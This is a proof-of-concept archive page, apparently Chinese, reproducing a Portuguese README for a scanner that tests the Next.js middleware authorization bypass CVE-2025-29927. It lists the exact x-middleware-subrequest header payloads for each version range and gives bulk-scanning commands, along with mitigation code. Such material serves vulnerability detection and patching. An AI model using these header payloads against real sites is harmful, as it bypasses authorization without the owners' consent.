目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2025-29927 PoC — Next.js 安全漏洞

来源
关联漏洞
标题: Next.js 安全漏洞 (CVE-2025-29927)
Description:Next.js是Vercel开源的一个 React 框架。 Next.js 14.2.25之前版本和15.2.3之前版本存在安全漏洞,该漏洞源于如果授权检查发生在中间件中,可能绕过授权检查。
介绍
# Scanner de Vulnerabilidade Middleware Subrequest do Next.js

Uma ferramenta robusta de prova de conceito (PoC) para detectar a vulnerabilidade de middleware do Next.js (CVE-2025-29927).

## Visão Geral

Esta ferramenta testa uma vulnerabilidade crítica em aplicações Next.js onde o cabeçalho `x-middleware-subrequest` pode ser usado para contornar verificações de segurança implementadas no middleware. O exploit envolve o envio de solicitações HTTP com cabeçalhos maliciosos específicos, variando conforme a versão do Next.js.

## Como Funciona o Exploit

De acordo com a pesquisa, existem diferentes payloads para diferentes versões do Next.js:

1. **Versões anteriores à 12.2**:
   ```
   x-middleware-subrequest: pages/_middleware
   ```

2. **Versões a partir da 12.2**:
   ```
   x-middleware-subrequest: middleware
   ```
   ou
   ```
   x-middleware-subrequest: src/middleware
   ```
   (se a aplicação usar o diretório src)

3. **Versões mais recentes (como 15.x)**:
   ```
   x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
   ```
   ou
   ```
   x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
   ```

Nossa PoC testa todos esses payloads automaticamente e reporta qual foi bem-sucedido.

## Funcionalidades

- Teste de um ou múltiplos alvos
- Escaneamento concorrente com multithreading
- Caminhos de requisição personalizáveis
- Teste automático de todos os payloads possíveis
- Saída detalhada e colorida no terminal
- Exportação de resultados em JSON
- Tratamento robusto de erros
- Detecção abrangente de vulnerabilidades

## Requisitos

- Python 3.7+
- Pacotes necessários:
  - requests
  - colorama

## Instalação

```bash
# Clone o repositório ou baixe os arquivos
# Navegue até o diretório
cd poc-nextjs-2025

# Instale os pacotes necessários
pip install -r requirements.txt
```

## Uso

```bash
python main.py -u https://exemplo.com   # Testar uma única URL
python main.py -f alvos.txt             # Testar múltiplas URLs de um arquivo
```

### Argumentos de Linha de Comando

| Opção | Descrição |
| ------ | ----------- |
| `-u, --url URL` | URL alvo para escanear |
| `-f, --file ARQUIVO` | Arquivo contendo múltiplas URLs para escanear (uma por linha) |
| `-p, --paths CAMINHOS` | Lista de caminhos para testar separados por vírgula (padrão: caminhos comuns) |
| `-t, --threads N` | Número de threads concorrentes (padrão: 5) |
| `-o, --output ARQUIVO` | Salvar resultados em arquivo JSON |
| `--timeout N` | Tempo limite da requisição em segundos (padrão: 10) |

### Exemplos

```bash
# Escaneamento básico de um único alvo
python main.py -u https://exemplo.com

# Escanear múltiplos alvos com caminhos personalizados
python main.py -f alvos.txt -p /api/users,/admin,/dashboard

# Escanear com maior concorrência e timeout mais longo
python main.py -u https://exemplo.com -t 10 --timeout 15

# Salvar resultados em um arquivo JSON
python main.py -u https://exemplo.com -o resultados_scan.json
```

## Metodologia de Detecção

O scanner funciona através de:

1. Envio de uma requisição normal para o alvo
2. Envio de requisições com diferentes variações do cabeçalho `x-middleware-subrequest` conforme as versões do Next.js
3. Comparação das respostas para identificar indicadores de vulnerabilidade:
   - Requisição normal bloqueada (4xx/5xx) mas requisição de exploit permitida (2xx)
   - Diferença significativa no conteúdo da resposta
   - Indicadores de bypass de autenticação/autorização

## Mitigação

Se você descobrir aplicações vulneráveis, aplique estas mitigações:

- Atualize para as versões 14.2.25 ou 15.2.3 ou posteriores do Next.js
- Implemente um middleware que bloqueie requisições com o cabeçalho `x-middleware-subrequest`

```typescript
export function middleware(request: NextRequest) {
  if (request.headers.has('x-middleware-subrequest')) {
    return new Response('Unauthorized', { status: 401 });
  }
  return NextResponse.next();
}
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →